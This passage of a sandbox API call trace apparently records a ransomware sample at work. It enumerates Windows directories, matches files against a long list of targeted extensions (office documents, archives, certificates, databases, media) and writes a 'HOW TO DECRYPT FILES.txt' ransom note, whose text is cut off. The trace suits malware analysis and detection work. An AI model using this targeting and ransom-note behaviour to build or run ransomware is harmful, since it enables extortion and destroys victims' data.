(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.txt") returned 0 [0109.235] lstrlenA (lpString="*.txt") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.jpeg") returned 0 [0109.235] lstrlenA (lpString="*.jpeg") returned 6 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.jpg") returned 0 [0109.235] lstrlenA (lpString="*.jpg") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.png") returned 0 [0109.235] lstrlenA (lpString="*.png") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.php") returned 0 [0109.236] lstrlenA (lpString="*.php") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.cs") returned 0 [0109.236] lstrlenA (lpString="*.cs") returned 4 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.cpp") returned 0 [0109.236] lstrlenA (lpString="*.cpp") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.rar") returned 0 [0109.236] lstrlenA (lpString="*.rar") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.zip") returned 0 [0109.236] lstrlenA (lpString="*.zip") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.html") returned 0 [0109.236] lstrlenA (lpString="*.html") returned 6 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.htm") returned 0 [0109.236] lstrlenA (lpString="*.htm") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.xlsx") returned 0 [0109.236] lstrlenA (lpString="*.xlsx") returned 6 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.xls") returned 0 [0109.236] lstrlenA (lpString="*.xls") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mp4") returned 0 [0109.236] lstrlenA (lpString="*.mp4") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.ppt") returned 0 [0109.236] lstrlenA (lpString="*.ppt") returned 5 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.pptx") returned 0 [0109.236] lstrlenA (lpString="*.pptx") returned 6 [0109.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.doc") returned 0 [0109.237] lstrlenA (lpString="*.doc") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.dot") returned 0 [0109.237] lstrlenA (lpString="*.dot") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.docx") returned 0 [0109.237] lstrlenA (lpString="*.docx") returned 6 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.7z") returned 0 [0109.237] lstrlenA (lpString="*.7z") returned 4 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.tar") returned 0 [0109.237] lstrlenA (lpString="*.tar") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.bz2") returned 0 [0109.237] lstrlenA (lpString="*.bz2") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.gz") returned 0 [0109.237] lstrlenA (lpString="*.gz") returned 4 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mkv") returned 0 [0109.237] lstrlenA (lpString="*.mkv") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.eml") returned 0 [0109.237] lstrlenA (lpString="*.eml") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.msg") returned 0 [0109.237] lstrlenA (lpString="*.msg") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.edb") returned 0 [0109.237] lstrlenA (lpString="*.edb") returned 5 [0109.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.accdb") returned 0 [0109.237] lstrlenA (lpString="*.accdb") returned 7 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.odb") returned 0 [0109.238] lstrlenA (lpString="*.odb") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.java") returned 0 [0109.238] lstrlenA (lpString="*.java") returned 6 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.asm") returned 0 [0109.238] lstrlenA (lpString="*.asm") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.pfx") returned 0 [0109.238] lstrlenA (lpString="*.pfx") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.pem") returned 0 [0109.238] lstrlenA (lpString="*.pem") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.p12") returned 0 [0109.238] lstrlenA (lpString="*.p12") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.gpg") returned 0 [0109.238] lstrlenA (lpString="*.gpg") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.vsd") returned 0 [0109.238] lstrlenA (lpString="*.vsd") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.odg") returned 0 [0109.238] lstrlenA (lpString="*.odg") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.raw") returned 0 [0109.238] lstrlenA (lpString="*.raw") returned 5 [0109.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.nef") returned 0 [0109.239] lstrlenA (lpString="*.nef") returned 5 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.svg") returned 0 [0109.239] lstrlenA (lpString="*.svg") returned 5 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.psd") returned 0 [0109.239] lstrlenA (lpString="*.psd") returned 5 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.vmx") returned 0 [0109.239] lstrlenA (lpString="*.vmx") returned 5 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.vmdk") returned 0 [0109.239] lstrlenA (lpString="*.vmdk") returned 6 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.vdi") returned 0 [0109.239] lstrlenA (lpString="*.vdi") returned 5 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.lay6") returned 0 [0109.239] lstrlenA (lpString="*.lay6") returned 6 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mpeg") returned 0 [0109.239] lstrlenA (lpString="*.mpeg") returned 6 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.djvu") returned 0 [0109.239] lstrlenA (lpString="*.djvu") returned 6 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.tiff") returned 0 [0109.239] lstrlenA (lpString="*.tiff") returned 6 [0109.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.backup") returned 0 [0109.240] lstrlenA (lpString="*.backup") returned 8 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.pdf") returned 0 [0109.240] lstrlenA (lpString="*.pdf") returned 5 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.cert") returned 0 [0109.240] lstrlenA (lpString="*.cert") returned 6 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.docm") returned 0 [0109.240] lstrlenA (lpString="*.docm") returned 6 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.xlsm") returned 0 [0109.240] lstrlenA (lpString="*.xlsm") returned 6 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.dwg") returned 0 [0109.240] lstrlenA (lpString="*.dwg") returned 5 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.nd") returned 0 [0109.240] lstrlenA (lpString="*.nd") returned 4 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.tlg") returned 0 [0109.240] lstrlenA (lpString="*.tlg") returned 5 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.lgb") returned 0 [0109.240] lstrlenA (lpString="*.lgb") returned 5 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mov") returned 0 [0109.240] lstrlenA (lpString="*.mov") returned 5 [0109.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.xdw") returned 0 [0109.241] lstrlenA (lpString="*.xdw") returned 5 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.ods") returned 0 [0109.241] lstrlenA (lpString="*.ods") returned 5 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.wav") returned 0 [0109.241] lstrlenA (lpString="*.wav") returned 5 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mp3") returned 0 [0109.241] lstrlenA (lpString="*.mp3") returned 5 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.aiff") returned 0 [0109.241] lstrlenA (lpString="*.aiff") returned 6 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.flac") returned 0 [0109.241] lstrlenA (lpString="*.flac") returned 6 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.m4a") returned 0 [0109.241] lstrlenA (lpString="*.m4a") returned 5 [0109.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.csv") returned 0 [0109.241] lstrlenA (lpString="*.csv") returned 5 [0109.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310e2cb4, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310e2cb4, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3460663, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x39600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.241] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.241] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63233260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63233260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63233260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="789d8b780d7bbfb6ceccd2ccea85f364", cAlternateFileName="789D8B~1")) returned 1 [0109.241] lstrcmpA (lpString1=".", lpString2="789d8b780d7bbfb6ceccd2ccea85f364") returned -1 [0109.241] lstrcmpA (lpString1="..", lpString2="789d8b780d7bbfb6ceccd2ccea85f364") returned -1 [0109.241] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*") returned="*.*" [0109.242] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\", lpString2="789d8b780d7bbfb6ceccd2ccea85f364" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364" [0109.242] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364") returned 100 [0109.242] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63233260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63233260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63233260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.242] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.242] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63233260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63233260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63233260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.242] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.242] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.242] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310bcb59, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310bcb59, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3b84870, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.242] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.242] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll") returned -1 [0109.242] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll") returned -1 [0109.242] lstrcmpiA (lpString1="", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.ni.dll") returned -1 [0109.242] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\*.*") returned="*.*" [0109.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\" [0109.243] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\") returned="" [0109.243] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\HOW TO DECRYPT FILES.txt" [0109.243] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\how to decrypt files.txt")) returned 0xffffffff [0109.243] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\789d8b780d7bbfb6ceccd2ccea85f364\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.279] lstrlenA (lpString="All your personal FILES are now 